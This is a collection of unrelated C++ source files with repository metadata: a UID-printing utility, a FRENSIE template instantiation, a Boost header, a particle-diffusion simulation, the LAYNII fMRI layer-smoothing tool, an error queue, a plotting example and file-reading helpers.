151a7eb4dd21f2d49370ac38741cdd1bb9bc2414 | 324 | cpp | C++ | server/socket/linuxsocket/uid/uid.cpp | 6923403/C | d365021759e6d9078254b4b7b6455e0408e4b691 | [
"MIT"
] | 1 | 2020-10-01T14:52:45.000Z | 2020-10-01T14:52:45.000Z | server/socket/linuxsocket/uid/uid.cpp | 6923403/C | d365021759e6d9078254b4b7b6455e0408e4b691 | [
"MIT"
] | 3 | 2020-06-19T01:24:51.000Z | 2020-07-16T14:00:30.000Z | server/socket/linuxsocket/uid/uid.cpp | 6923403/C | d365021759e6d9078254b4b7b6455e0408e4b691 | [
"MIT"
] | null | null | null | #include <iostream>
#include <unistd.h>
#include <sys/types.h>
int main(int argc, char **argv)
{
uid_t uid = getuid();
uid_t euid = geteuid();
std::cout << "userid: " << uid << " effective uid: " << euid << std::endl;
/*
* chown user:user uid
* chmod +s uid
* ./uid
*/
return 0;
}
| 18 | 79 | 0.527778 | 6923403 |
151d95c195be52b7c1b2569d14059b8038394cda | 1,036 | cpp | C++ | packages/utility/grid/src/Utility_StandardHashBasedGridSearcher.cpp | bam241/FRENSIE | e1760cd792928699c84f2bdce70ff54228e88094 | [
"BSD-3-Clause"
] | 10 | 2019-11-14T19:58:30.000Z | 2021-04-04T17:44:09.000Z | packages/utility/grid/src/Utility_StandardHashBasedGridSearcher.cpp | bam241/FRENSIE | e1760cd792928699c84f2bdce70ff54228e88094 | [
"BSD-3-Clause"
] | 43 | 2020-03-03T19:59:20.000Z | 2021-09-08T03:36:08.000Z | packages/utility/grid/src/Utility_StandardHashBasedGridSearcher.cpp | bam241/FRENSIE | e1760cd792928699c84f2bdce70ff54228e88094 | [
"BSD-3-Clause"
] | 6 | 2020-02-12T17:37:07.000Z | 2020-09-08T18:59:51.000Z | //---------------------------------------------------------------------------//
//!
//! \file Utility_StandardHashBasedGridSearcher.cpp
//! \author Alex Robinson
//! \brief The standard hash-based grid searcher
//!
//---------------------------------------------------------------------------//
// FRENSIE Includes
#include "FRENSIE_Archives.hpp" // Must include first
#include "Utility_StandardHashBasedGridSearcher.hpp"
EXPLICIT_TEMPLATE_CLASS_INST( Utility::StandardHashBasedGridSearcher<std::vector<double>,true> );
EXPLICIT_CLASS_SAVE_LOAD_INST( Utility::StandardHashBasedGridSearcher<std::vector<double>,true> );
EXPLICIT_TEMPLATE_CLASS_INST( Utility::StandardHashBasedGridSearcher<std::vector<double>,false> );
EXPLICIT_CLASS_SAVE_LOAD_INST( Utility::StandardHashBasedGridSearcher<std::vector<double>,false> );
//---------------------------------------------------------------------------//
// end Utility_StandardHashBasedGridSearcher.cpp
//---------------------------------------------------------------------------//
| 47.090909 | 99 | 0.561776 | bam241 |
151e20e2cd2a792fad5f2bc7379ebdfbcf1b29c8 | 864 | hpp | C++ | ios/Pods/boost-for-react-native/boost/coroutine2/detail/disable_overload.hpp | rudylee/expo | b3e65a7a5b205f14a3eb6cd6fa8d13c8d663b1cc | [
"Apache-2.0",
"MIT"
] | 8,805 | 2015-11-03T00:52:29.000Z | 2022-03-29T22:30:03.000Z | ios/Pods/boost-for-react-native/boost/coroutine2/detail/disable_overload.hpp | rudylee/expo | b3e65a7a5b205f14a3eb6cd6fa8d13c8d663b1cc | [
"Apache-2.0",
"MIT"
] | 14,694 | 2015-02-24T15:13:42.000Z | 2022-03-31T13:16:45.000Z | ios/Pods/boost-for-react-native/boost/coroutine2/detail/disable_overload.hpp | rudylee/expo | b3e65a7a5b205f14a3eb6cd6fa8d13c8d663b1cc | [
"Apache-2.0",
"MIT"
] | 1,329 | 2015-11-03T20:25:51.000Z | 2022-03-31T18:10:38.000Z |
// Copyright Oliver Kowalke 2014.
// Distributed under the Boost Software License, Version 1.0.
// (See accompanying file LICENSE_1_0.txt or copy at
// http://www.boost.org/LICENSE_1_0.txt)
#ifndef BOOST_COROUTINES2_DETAIL_DISABLE_OVERLOAD_H
#define BOOST_COROUTINES2_DETAIL_DISABLE_OVERLOAD_H
#include <type_traits>
#include <boost/config.hpp>
#include <boost/context/detail/disable_overload.hpp>
#include <boost/coroutine2/detail/config.hpp>
#ifdef BOOST_HAS_ABI_HEADERS
# include BOOST_ABI_PREFIX
#endif
namespace boost {
namespace coroutines2 {
namespace detail {
template< typename X, typename Y >
using disable_overload = boost::context::detail::disable_overload< X, Y >;
}}}
#ifdef BOOST_HAS_ABI_HEADERS
#include BOOST_ABI_SUFFIX
#endif
#endif // BOOST_COROUTINES2_DETAIL_DISABLE_OVERLOAD_H
| 24.685714 | 75 | 0.752315 | rudylee |
151fa9697683534e0ae223ab1a3191831c09b583 | 4,805 | cpp | C++ | src/main.cpp | carmeloevoli/hecr_diffusion | 0b23fd102de391f37a11c6a27f4f69c8ac172fcd | [
"MIT"
] | 2 | 2019-05-02T10:15:41.000Z | 2021-04-06T10:08:54.000Z | src/main.cpp | carmeloevoli/hecr_diffusion | 0b23fd102de391f37a11c6a27f4f69c8ac172fcd | [
"MIT"
] | null | null | null | src/main.cpp | carmeloevoli/hecr_diffusion | 0b23fd102de391f37a11c6a27f4f69c8ac172fcd | [
"MIT"
] | 1 | 2019-05-01T15:15:51.000Z | 2019-05-01T15:15:51.000Z | #include <cmath>
#include <iostream>
#include "DiffusionCoefficients.h"
#define NGRID 128
#define ENERGY 1e15
#define NPARTICLES 10
#define BOXSIZE 120
int main(int argc, char** argv) {
try {
DiffusionCoefficient D;
D.setBoxSize(NGRID);
D.setSpacing_pc((double) BOXSIZE / (double) NGRID);
D.setBrms_muG(1.0);
D.setB0_muG(1.0);
D.setDumpGrid();
D.setMaxStep_pc(0.01 * (ENERGY / 1e15));
D.setTrajectoryLengthMax_pc(1e4);
D.setNParticles(NPARTICLES);
D.setEnergy_eV(ENERGY);
D.buildMagneticField();
D.buildCandidates();
D.buildTrajectories();
D.buildAlgorithm();
D.run();
D.writeOutput();
} // try
catch (std::exception &e) {
std::cerr << "Exception: " << e.what() << std::endl;
return (1);
}
return (0);
}
//int main(int argc, char** argv) {
// Brandom("box/3D_fields_10_64_1_31.bin",64,10.0);
// if (argc < 6) {
// cout<<"Usage: ./diffusion NBFieldsMax NParticlesMax gamma turbulenceLevel turbulenceDimensions <filename>"<<endl;
// cout<<"Example: ./a.out 1 1 1e5 2 3 test"<<endl;
// return -1;
//}
// const double rL = A / Z * PROTON_MASS * sqrt(gamma * gamma - 1.0) * TMath::C()/(electric_charge*1e-10)/parsec;
// const int NBFieldsMax = atoi(argv[1]); // Max number of field configurations
// const int NParticlesMax = atoi(argv[2]); // Max number of particles
// const double gamma = atof(argv[3]); // EnergyProton/MassProtons. It's better to set this first.
// const double turbulenceLevel = atof(argv[4]); // sigma2
// const int turbulenceDimensions = atoi(argv[5]);
// // Maximal correlation lenght (100 pc) expressed in units of r_L
// const double rL = A/Z*PROTON_MASS*sqrt(gamma*gamma-1.0)*TMath::C()/(electric_charge*1e-10)/parsec;
// const double Lmax = 100.0/rL;
// const double LcrL = Lc/rL;
// const long NLarmorTimes = /*16000.0*/1000.0;
// const double tEnd = (double)NLarmorTimes*(rL/Clight); // final time in sec
// const double dt = 0.5*Lmin*(rL/Clight);
// const int NSteps = int(tEnd/dt)+1;
// vector< vector<double> > results(NSteps, vector<double>(7,0));
// cout<<"... dt = "<<dt<<endl;
// cout<<"... tEnd = "<<tEnd<<endl;
// cout<<"... rL = "<<rL<<endl;
// cout<<"... Lc*rL = "<<LcrL<<endl;
// // Time counters...
// TStopwatch time_s;
// time_s.Start();
// TNtupleD* nt = new TNtupleD("nt", "Particle correlation data", "t:xx0:yy0:zz0:vxx:vxy:vyy:vzz");
// #ifdef _OPENMP
// #pragma omp parallel //for schedule(dynamic) num_threads(OMP_NUM_THREADS)
// #endif
// {
// for ( int i=0;i<NBFieldsMax;++i ){ // Loop over magnetic field configurations
// Brandom Br();//KOLMOGOROV, Lmin, Lmax, LcrL, turbulenceLevel, turbulenceDimensions, 0);
// TVector3 x(1./3.,1./3.,1./3.);
// //Br.Set(x);
// //cout<<Br.Bx()<<"\t"<<Br.By()<<"\t"<<Br.Bz()<<endl;
// #ifdef _OPENMP
// #pragma omp for schedule(dynamic) private(Br) nowait
// #endif
// for ( int l=0;l<NParticlesMax;++l ){ // Loop over the particles
// #ifdef _OPENMP
// #pragma omp critical
// #endif
// cout<<"iField = "<<i<<" iParticle = "<<l<<endl;
// int id = i*NParticlesMax+l;
// Particle part(0, gamma, tEnd, dt, rL, Br, id);
// vector< vector<double> > output(NSteps, vector<double>(7,0));
// part.Evolve(output);
// #ifdef _OPENMP
// #pragma omp critical
// #endif
// {
// for ( int itime=0;itime<NSteps;itime++ ){
// for ( int iout=0;iout<7;iout++ )
// results[itime][iout] += output[itime][iout]/double(NBFieldsMax*NParticlesMax);
// }
// }
// }
// }
// }
// #ifdef ROOTOUTPUT
// TFile* rootfile = TFile::Open(argv[argc-1], "RECREATE");
// TNtupleD* header = new TNtupleD("header", "Header", "rL:energy");
// header->Fill(rL, PROTON_MASS_GEV*gamma);
// header->Write();
// for ( int itime=0;itime<NSteps;itime++ )
// nt->Fill(double(itime)*dt,
// results[itime][0],
// results[itime][1],
// results[itime][2],
// results[itime][3],
// results[itime][4],
// results[itime][5],
// results[itime][6]
// );
// nt->Write();
// rootfile->Close();
// #endif
// #ifdef ASCIIOUTPUT
// ofstream asciifile("test.txt");
// for ( int itime=0;itime<NSteps;itime++ )
// asciifile<<double(itime)*dt<<"\t"
// <<results[itime][0]<<"\t"
// <<results[itime][1]<<"\t"
// <<results[itime][2]<<"\t"
// <<results[itime][3]<<"\t"
// <<results[itime][4]<<"\t"
// <<results[itime][5]<<"\t"
// <<results[itime][6]<<endl;
// asciifile.close();
// #endif
// time_s.Stop();
// cout<<"... Ended in "<<time_s.RealTime()<<" s."<<endl;
// cout<<"... Actual CPU time "<<time_s.CpuTime()<<" s."<<endl;
// cout<<"... Time per particle "<<time_s.RealTime()/double(NBFieldsMax*NParticlesMax)<<" s."<<endl;
// return 0;
//}
| 28.772455 | 118 | 0.596254 | carmeloevoli |
15206a704f018d9b650c29b9a4c42835fa779c05 | 1,149 | cpp | C++ | devmand/gateway/src/devmand/error/ErrorQueue.cpp | gurrapualt/magma | 13e05788fa6c40293a58b6e03cfb394bb79fa98f | [
"BSD-3-Clause"
] | 2 | 2020-12-09T11:42:30.000Z | 2021-09-26T03:28:33.000Z | devmand/gateway/src/devmand/error/ErrorQueue.cpp | gurrapualt/magma | 13e05788fa6c40293a58b6e03cfb394bb79fa98f | [
"BSD-3-Clause"
] | 124 | 2020-08-21T06:11:21.000Z | 2022-03-21T05:25:26.000Z | devmand/gateway/src/devmand/error/ErrorQueue.cpp | yogi8091/magma | edc3b249068ad871047e898c912f3228ee9f2c88 | [
"BSD-3-Clause"
] | 1 | 2020-09-21T04:25:06.000Z | 2020-09-21T04:25:06.000Z | /*
Copyright 2020 The Magma Authors.
This source code is licensed under the BSD-style license found in the
LICENSE file in the root directory of this source tree.
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
#include <devmand/error/ErrorQueue.h>
namespace devmand {
void ErrorQueue::add(std::string&& error) {
errors.withWLock([this, &error](auto& queue) {
queue.emplace_back(std::forward<std::string>(error));
// on max size, discard oldest error
if (queue.size() > maxSize) {
queue.pop_front();
}
});
}
folly::dynamic ErrorQueue::get() {
auto ret = folly::dynamic::array();
// NOTE: this is a shared read lock but if you modify "get()" to clear
// the errors, you'll need a write lock.
errors.withRLock([this, &ret](auto& queue) {
for (auto& error : queue) {
ret.push_back(error);
}
});
return ret;
}
} // namespace devmand
| 28.02439 | 72 | 0.70322 | gurrapualt |
1524509a9cb88378f4d46b76f762cc941be58d0d | 440 | cpp | C++ | examples/appearance/multiplot/subplot/subplot_4.cpp | solosuper/matplotplusplus | 87ff5728b14ad904bc6acaa2bf010c1a03c6cb4a | [
"MIT"
] | 2,709 | 2020-08-29T01:25:40.000Z | 2022-03-31T18:35:25.000Z | examples/appearance/multiplot/subplot/subplot_4.cpp | p-ranav/matplotplusplus | b45015e2be88e3340b400f82637b603d733d45ce | [
"MIT"
] | 124 | 2020-08-29T04:48:17.000Z | 2022-03-25T15:45:59.000Z | examples/appearance/multiplot/subplot/subplot_4.cpp | p-ranav/matplotplusplus | b45015e2be88e3340b400f82637b603d733d45ce | [
"MIT"
] | 203 | 2020-08-29T04:16:22.000Z | 2022-03-30T02:08:36.000Z | #include <iostream>
#include <matplot/matplot.h>
#include <set>
#include <thread>
#include <vector>
int main() {
using namespace matplot;
for (size_t i = 0; i < 4; ++i) {
subplot(2, 2, i);
std::string equation = "cos(x**" + num2str(i + 1) + ") + " + num2str(i);
fplot(equation);
title(equation);
}
subplot(2, 2, 1, true);
fplot("sin(x)");
title("sin(x)");
show();
return 0;
} | 22 | 80 | 0.527273 | solosuper |
15255efe7a27d4f9d26c3e4247871ed1317ec1cc | 16,153 | cpp | C++ | src/LN2_LAYER_SMOOTH.cpp | dowdlelt/LAYNII | 8d434da57f3126bcd304577bd41eaa32d504df04 | [
"BSD-3-Clause"
] | 70 | 2018-04-09T13:16:42.000Z | 2022-03-25T11:35:05.000Z | src/LN2_LAYER_SMOOTH.cpp | dowdlelt/LAYNII | 8d434da57f3126bcd304577bd41eaa32d504df04 | [
"BSD-3-Clause"
] | 48 | 2018-12-06T01:17:48.000Z | 2022-03-31T13:55:28.000Z | src/LN2_LAYER_SMOOTH.cpp | dowdlelt/LAYNII | 8d434da57f3126bcd304577bd41eaa32d504df04 | [
"BSD-3-Clause"
] | 17 | 2019-04-25T20:57:34.000Z | 2022-03-07T12:20:31.000Z |
// TODO(Faruk): Seems there might be an issue with the gaussian kernel's
// symmetry and size corresponding to what is written in CLI
// TODO(Renzo): make the vicinity direction specific vinc_x, vinc_y, vinc_z
#include "../dep/laynii_lib.h"
int show_help(void) {
printf(
"LN2_LAYER_SMOOTH : Layering algorithm based on iterative smoothing.\n"
"\n"
" This program smooths data within layer or columns. In order to \n"
" avoid smoothing across masks, a crawler smooths only across \n"
" connected voxels.\n"
"\n"
"Usage:\n"
" LN2_LAYER_SMOOTH -layer_file layers.nii -input activity_map.nii -FWHM 1\n"
" ../LN2_LAYER_SMOOTH -input sc_VASO_act.nii -layer_file sc_layers.nii -FWHM 1 \n"
"\n"
"Options:\n"
" -help : Show this help.\n"
" -layer_file : Nifti (.nii) file that contains layer or column masks.\n"
" -input : Nifti (.nii) file that should be smooth. It \n"
" should have same dimensions as layer file.\n"
" -twodim : Nifti (.nii) file that should be smooth. It \n"
" -FWHM : The amount of smoothing in mm.\n"
" -mask : (Optional) Mask activity outside of layers. \n"
" -NoKissing : (Optional) Allows smoothing across sucli. This is \n"
" necessary, when you do heavy smoothing well bevond \n"
" the spatial scale of the cortical thickness, or heavy\n"
" curvature. It will make things slower. Note that this \n"
" is best done with not too many layers. Otherwise a \n"
" single layer has holes and is not connected.\n"
" !!!WARNING!!! this option is not well tested for version 1.5\n"
" -output : (Optional) Output filename, including .nii or\n"
" .nii.gz, and path if needed. Overwrites existing files.\n"
"\n");
return 0;
}
int main(int argc, char* argv[]) {
bool use_outpath = false ;
char *fout = NULL ;
char *f_input = NULL, *f_layer = NULL;
int ac, do_masking = 0, sulctouch = 0;
float FWHM_val = 0;
bool twodim = false ;
if (argc < 3) return show_help();
for (ac = 1; ac < argc; ac++) {
if (!strncmp(argv[ac], "-h", 2)) {
return show_help();
} else if (!strcmp(argv[ac], "-layer_file")) {
if (++ac >= argc) {
fprintf(stderr, "** missing argument for -layer_file\n");
return 1;
}
f_layer = argv[ac];
} else if (!strcmp(argv[ac], "-FWHM")) {
if (++ac >= argc) {
fprintf(stderr, "** missing argument for -FWHM\n");
return 1;
}
FWHM_val = atof(argv[ac]); // No string copy, pointer assignment
} else if (!strcmp(argv[ac], "-input")) {
if (++ac >= argc) {
fprintf(stderr, "** missing argument for -input\n");
return 1;
}
f_input = argv[ac];
} else if (!strcmp(argv[ac], "-NoKissing")) {
sulctouch = 1;
cout << "Smooth across gyri, might take longer." << endl;
} else if( ! strcmp(argv[ac], "-twodim") ) {
twodim = true;
cout << "I will do smoothing only in 2D" << endl;
} else if (!strcmp(argv[ac], "-mask")) {
do_masking = 1;
cout << "Set voxels to zero outside layers (mask option)" << endl;
} else if (!strcmp(argv[ac], "-output")) {
if (++ac >= argc) {
fprintf(stderr, "** missing argument for -output\n");
return 1;
}
use_outpath = true;
fout = argv[ac];
} else {
fprintf(stderr, "** invalid option, '%s'\n", argv[ac]);
return 1;
}
}
if (!f_input) {
fprintf(stderr, "** missing option '-input'\n");
return 1;
}
if (!f_layer) {
fprintf(stderr, "** missing option '-layer_file'\n");
return 1;
}
// Read inputs including data
nifti_image* nii1 = nifti_image_read(f_input, 1);
if (!nii1) {
fprintf(stderr, "** failed to read NIfTI from '%s'\n", f_input);
return 2;
}
nifti_image* nii2 = nifti_image_read(f_layer, 1);
if (!nii2) {
fprintf(stderr, "** failed to read NIfTI from '%s'\n", f_layer);
return 2;
}
log_welcome("LN2_LAYER_SMOOTH");
log_nifti_descriptives(nii1);
log_nifti_descriptives(nii2);
// Get dimensions of input
const int size_z = nii2->nz;
const int size_x = nii2->nx;
const int size_y = nii2->ny;
const int nx = nii2->nx;
const int nxy = nii2->nx * nii2->ny;
const int nr_voxels = size_z * size_y * size_x;
const float dX = nii2->pixdim[1];
const float dY = nii2->pixdim[2];
float dZ = nii2->pixdim[3];
if (twodim) dZ = 1000 * dZ ;
// ========================================================================
// Fix datatype issues
nifti_image* nii_input = copy_nifti_as_float32(nii1);
float *nii_input_data = static_cast<float*>(nii_input->data);
nifti_image* nii_layer = copy_nifti_as_int32(nii2);
int32_t *nii_layer_data = static_cast<int32_t*>(nii_layer->data);
// Allocate new niftis
nifti_image *nii_smooth = copy_nifti_as_float32(nii_input);
float *nii_smooth_data = static_cast<float*>(nii_smooth->data);
nifti_image* nii_gaussw = copy_nifti_as_float32(nii_input);
float *nii_gaussw_data = static_cast<float*>(nii_gaussw->data);
// Zero new images
for (int i = 0; i < nr_voxels; ++i) {
*(nii_smooth_data + i) = 0;
*(nii_gaussw_data + i) = 0;
}
// ========================================================================
// TODO(Faruk): Why using dX but not others? Need to ask Renzo about this.
int vic = max(1., 2. * FWHM_val / dX); // Ignore if voxel is too far
cout << " Vicinity = " << vic << endl;
cout << " FWHM = " << FWHM_val << endl;
///////////////////////////
// Find number of layers //
///////////////////////////
int32_t nr_layers = 0;
for (int i = 0; i < nr_voxels; ++i) {
if (*(nii_layer_data + i) > nr_layers) {
nr_layers = *(nii_layer_data + i);
}
}
cout << " There are " << nr_layers << " layers to smooth within." << endl;
////////////////////
// SMOOTHING LOOP //
////////////////////
// For time estimation
int nr_vox_to_loop = 0, idx = 0, prev_n = 0;
for (int i = 0; i < nr_voxels; ++i) {
if (*(nii_layer_data + i) > 0) {
nr_vox_to_loop++;
}
}
if (sulctouch == 0) {
cout << " Smoothing in layer, not considering sulci." << endl;
for (int iz = 0; iz < size_z; ++iz) {
for (int iy = 0; iy < size_y; ++iy) {
for (int ix = 0; ix < size_x; ++ix) {
int voxel_i = nxy * iz + nx * iy + ix;
int layer_i = *(nii_layer_data + voxel_i);
if (layer_i > 0) {
idx += 1;
int n = (idx * 100) / nr_vox_to_loop;
if (n != prev_n) {
cout << "\r " << n << "%" << flush;
prev_n = n;
}
int jz_start = max(0, iz - vic);
int jz_stop = min(iz + vic, size_z - 1);
int jy_start = max(0, iy - vic);
int jy_stop = min(iy + vic, size_y - 1);
int jx_start = max(0, ix - vic);
int jx_stop = min(ix + vic, size_x - 1);
for (int jz = jz_start; jz <= jz_stop; ++jz) {
for (int jy = jy_start; jy <= jy_stop; ++jy) {
for (int jx = jx_start; jx <= jx_stop; ++jx) {
int voxel_j = nxy * jz + nx * jy + jx;
if (*(nii_layer_data + voxel_j) == layer_i) {
float d = dist((float)ix, (float)iy, (float)iz,
(float)jx, (float)jy, (float)jz,
dX, dY, dZ);
float g = gaus(d, FWHM_val);
*(nii_smooth_data + voxel_i) += *(nii_input_data + voxel_j) * g;
*(nii_gaussw_data + voxel_i) += g;
}
}
}
}
// Normalize
*(nii_smooth_data + voxel_i) /= *(nii_gaussw_data + voxel_i);
} else {
*(nii_smooth_data + voxel_i) = *(nii_input_data + voxel_i);
}
}
}
}
cout << endl;
}
///////////////////////////////////////////////////////
// if requested, smooth only within connected layers //
///////////////////////////////////////////////////////
if (sulctouch == 1) {
// Allocating local connected vicinity file
nifti_image* hairy_brain = copy_nifti_as_int32(nii_layer);
int32_t* hairy_brain_data = static_cast<int32_t*>(hairy_brain->data);
hairy_brain->scl_slope = 1.;
int vic_steps = 1;
vic = max(1., 2. * FWHM_val / dX); // Ignore if voxel is too far
cout << " vic " << vic << endl;
cout << " FWHM_val " << FWHM_val << endl;
cout << " Starting within sulcus smoothing..." << endl;
for (int iz = 0; iz < size_z; ++iz) {
for (int iy = 0; iy < size_y; ++iy) {
for (int ix = 0; ix < size_x; ++ix) {
int voxel_i = nxy * iz + nx * iy + ix;
if (*(nii_layer_data + voxel_i) > 0) {
idx++;
int n = (idx * 100) / nr_vox_to_loop;
if (n != prev_n) {
cout << "\r " << n << "% " << flush;
prev_n = n;
}
int layer_i = *(nii_layer_data + voxel_i);
/////////////////////////////////////////////////
// Find area that is not from the other sulcus //
/////////////////////////////////////////////////
int jz_start = max(0, iz - vic - vic_steps);
int jz_stop = min(iz + vic + vic_steps, size_z - 1);
int jy_start = max(0, iy - vic - vic_steps);
int jy_stop = min(iy + vic + vic_steps, size_y - 1);
int jx_start = max(0, ix - vic - vic_steps);
int jx_stop = min(ix + vic + vic_steps, size_x - 1);
for (int jz = jz_start; jz <= jz_stop; ++jz) {
for (int jy = jy_start; jy <= jy_stop; ++jy) {
for (int jx = jx_start; jx <= jx_stop; ++jx) {
*(hairy_brain_data + nxy * jz + nx * jy + jx) = 0;
}
}
}
*(hairy_brain_data + voxel_i) = 1;
// Grow into neigbouring voxels.
for (int K_= 0; K_< vic; K_++) {
int kz_start = max(0, iz - vic);
int kz_stop = min(iz + vic, size_z - 1);
int ky_start = max(0, iy - vic);
int ky_stop = min(iy + vic, size_x - 1);
int kx_start = max(0, ix - vic);
int kx_stop = min(ix + vic, size_y - 1);
for (int kz = kz_start; kz <= kz_stop; ++kz) {
for (int ky = ky_start; ky <= ky_stop; ++ky) {
for (int kx = kx_start; kx <= kx_stop; ++kx) {
if (*(hairy_brain_data + nxy * kz + nx * ky + kx) == 1) {
int mz_start = max(0, kz - vic_steps);
int mz_stop = min(kz + vic_steps, size_z - 1);
int my_start = max(0, ky - vic_steps);
int my_stop = min(ky + vic_steps, size_y - 1);
int mx_start = max(0, kx - vic_steps);
int mx_stop = min(kx + vic_steps, size_x - 1);
for (int mz = mz_start; mz <= mz_stop; ++mz) {
for (int my = my_start; my <= my_stop; ++my) {
for (int mx = mx_start; mx <= mx_stop; ++mx) {
if (dist((float)kx, (float)ky, (float)kz, (float)mx, (float)my, (float)mz, 1, 1, 1) <= 1.74
&& *(nii_layer_data + nxy * mz + nx * my + mx) == layer_i) {
*(hairy_brain_data + nxy * mz + nx * my + mx) = 1;
}
}
}
}
}
}
}
}
}
// Smooth within each layer and within local patch
jz_start = max(0, iz - vic);
jz_stop = min(iz + vic, size_z - 1);
jy_start = max(0, iy - vic);
jy_stop = min(iy + vic, size_y - 1);
jx_start = max(0, ix - vic);
jx_stop = min(ix + vic, size_x - 1);
for (int jz = jz_start; jz <= jz_stop; ++jz) {
for (int jy = jy_start; jy <= jz_stop; ++jy) {
for (int jx = jx_start; jx <= jx_stop; ++jx) {
if (*(hairy_brain_data + nxy * jz + nx * jy + jx) == 1) {
float d = dist((float)ix, (float)iy, (float)iz,
(float)jx, (float)jy, (float)jz,
dX, dY, dZ);
float g = gaus(d, FWHM_val);
*(nii_smooth_data + voxel_i) += *(nii_input_data + nxy * jz + nx * jy + jx) * g;
*(nii_gaussw_data + voxel_i) += g;
}
}
}
}
if (*(nii_gaussw_data + voxel_i) > 0) {
*(nii_smooth_data + voxel_i) /= *(nii_gaussw_data + voxel_i);
}
}
}
}
}
save_output_nifti(f_input, "hairy_brain", hairy_brain, false);
}
cout << " Smoothing is done. " << endl;
////////////////////////////////
// Masking if it is it wanted //
////////////////////////////////
if (do_masking == 1) {
for (int i = 0; i < nr_voxels; ++i)
if (*(nii_layer_data + i) == 0) {
*(nii_smooth_data + i) = 0;
}
}
if (!use_outpath) fout = f_input;
save_output_nifti(fout, "layer_smoothed", nii_smooth, true, use_outpath);
cout << " Finished." << endl;
return 0;
}
| 44.254795 | 147 | 0.409026 | dowdlelt |
152675c72105404e1ee60ae371f83fdf8cb3c493 | 2,359 | cpp | C++ | main/depth_main.cpp | TNishimoto/esaxx | bac2734b71ff933bc019070ee0ec2d5c7e01fbd5 | [
"MIT"
] | null | null | null | main/depth_main.cpp | TNishimoto/esaxx | bac2734b71ff933bc019070ee0ec2d5c7e01fbd5 | [
"MIT"
] | null | null | null | main/depth_main.cpp | TNishimoto/esaxx | bac2734b71ff933bc019070ee0ec2d5c7e01fbd5 | [
"MIT"
] | null | null | null | // License: MIT http://opensource.org/licenses/MIT
/*
This code was copied from https://takeda25.hatenablog.jp/entry/20101202/1291269994 and I modified it.
*/
#include <iostream>
#include <fstream>
#include <string>
#include <vector>
#include <unordered_map>
#include "stool/src/cmdline.h"
#include "../test/old_postorder_maximal_substrings.hpp"
#include "../main/common.hpp"
#include "libdivsufsort/sa.hpp"
#include "../postorder_maximal_substring_intervals.hpp"
#include <sdsl/suffix_arrays.hpp>
#include <sdsl/lcp_dac.hpp>
#include <sdsl/lcp_support_sada.hpp>
#include "../../module/rlbwt_iterator/src/include/rlbwt_iterator.hpp"
#include "../forward_bwt.hpp"
using namespace std;
using CHAR = char;
using INDEX = uint64_t;
uint64_t input_text_size = 0;
std::vector<std::pair<std::string, uint64_t>> execution_time_messages;
uint64_t iterateMS(string filename){
vector<CHAR> T = stool::load_char_vec_from_file(filename, true); // input text
input_text_size = T.size();
std::vector<INDEX> sa = stool::construct_suffix_array(T);
using BWT = stool::esaxx::ForwardBWT<CHAR, std::vector<CHAR>, std::vector<INDEX>>;
BWT bwt(&T,&sa);
std::vector<INDEX> lcpArray = stool::constructLCP<CHAR, INDEX>(T, sa);
stool::esaxx::PostorderSuffixTreeIntervals<INDEX, std::vector<INDEX>, std::vector<INDEX>> st;
st.construct(&sa, &lcpArray);
auto beg = st.begin();
auto end = st.end();
uint64_t maxStack = 0;
while(beg != end ){
if(maxStack < beg.get_incomplete_stack_size()){
maxStack = beg.get_incomplete_stack_size();
}
++beg;
}
return maxStack;
}
int main(int argc, char *argv[])
{
cmdline::parser p;
p.add<string>("input_file", 'i', "input file name", true);
p.parse_check(argc, argv);
string inputFile = p.get<string>("input_file");
auto start = std::chrono::system_clock::now();
uint64_t ms_count = iterateMS(inputFile);
std::cout << "\033[31m";
std::cout << "______________________RESULT______________________" << std::endl;
std::cout << "File \t\t\t\t\t : " << inputFile << std::endl;
std::cout << "The length of the input text \t\t : " << input_text_size << std::endl;
std::cout << "Nest \t : " << ms_count << std::endl;
std::cout << "_______________________________________________________" << std::endl;
std::cout << "\033[39m" << std::endl;
} | 31.039474 | 103 | 0.689275 | TNishimoto |
152813c13f60ee1ddf0aed5b27a8371b77cf4a70 | 1,361 | cpp | C++ | src/System/FileSystem.cpp | Strife-AI/Strife.Engine | 6b83e762f28acb3f4440d5b7763beccfd08dfc8f | [
"NCSA"
] | 12 | 2020-12-27T22:13:58.000Z | 2021-03-14T09:03:02.000Z | src/System/FileSystem.cpp | Strife-AI/Strife.Engine | 6b83e762f28acb3f4440d5b7763beccfd08dfc8f | [
"NCSA"
] | 10 | 2021-01-14T15:14:31.000Z | 2021-05-24T22:01:09.000Z | src/System/FileSystem.cpp | Strife-AI/Strife.Engine | 6b83e762f28acb3f4440d5b7763beccfd08dfc8f | [
"NCSA"
] | null | null | null | #include "FileSystem.hpp"
#include <fstream>
#include <sstream>
#include "Logger.hpp"
FILE* OpenFile(const char* path, const char* mode)
{
return fopen(path, mode);
}
bool TryReadFileContents(const char* path, std::string& result)
{
std::ifstream file(path);
if(!file.is_open())
{
Log("Failed to open %s for reading\n", path);
return false;
}
std::stringstream buffer;
buffer << file.rdbuf();
result = buffer.str();
file.close();
return true;
}
bool TryReadFileContents(const char* path, std::vector<unsigned char>& result)
{
FILE* file = fopen(path, "rb");
if (file == nullptr)
{
Log("Failed to open %s for reading\n", path);
return false;
}
fseek(file, 0, SEEK_END);
int size = ftell(file);
result.resize(size);
fseek(file, 0, SEEK_SET);
fread(result.data(), 1, size, file);
fclose(file);
return true;
}
bool TryReadFileContents(const wchar_t* path, std::vector<unsigned char>& result)
{
#ifdef WIN32
FILE* file = _wfopen(path, L"rb");
if (file == nullptr)
{
Log("Failed to open %s for reading\n", path);
return false;
}
fseek(file, 0, SEEK_END);
int size = ftell(file);
result.resize(size);
fseek(file, 0, SEEK_SET);
fread(result.data(), 1, size, file);
fclose(file);
return true;
#else
return false;
#endif
}
| 18.643836 | 81 | 0.624541 | Strife-AI |
1529ddab1992137fed1abf7bd4b457f872cecf83 | 2,567 | cpp | C++ | ICPC/SUBREGIONAL2014/e.cpp | henviso/contests | aa8a5ce9ed4524e6c3130ee73af7640e5a86954c | [
"Apache-2.0"
] | null | null | null | ICPC/SUBREGIONAL2014/e.cpp | henviso/contests | aa8a5ce9ed4524e6c3130ee73af7640e5a86954c | [
"Apache-2.0"
] | null | null | null | ICPC/SUBREGIONAL2014/e.cpp | henviso/contests | aa8a5ce9ed4524e6c3130ee73af7640e5a86954c | [
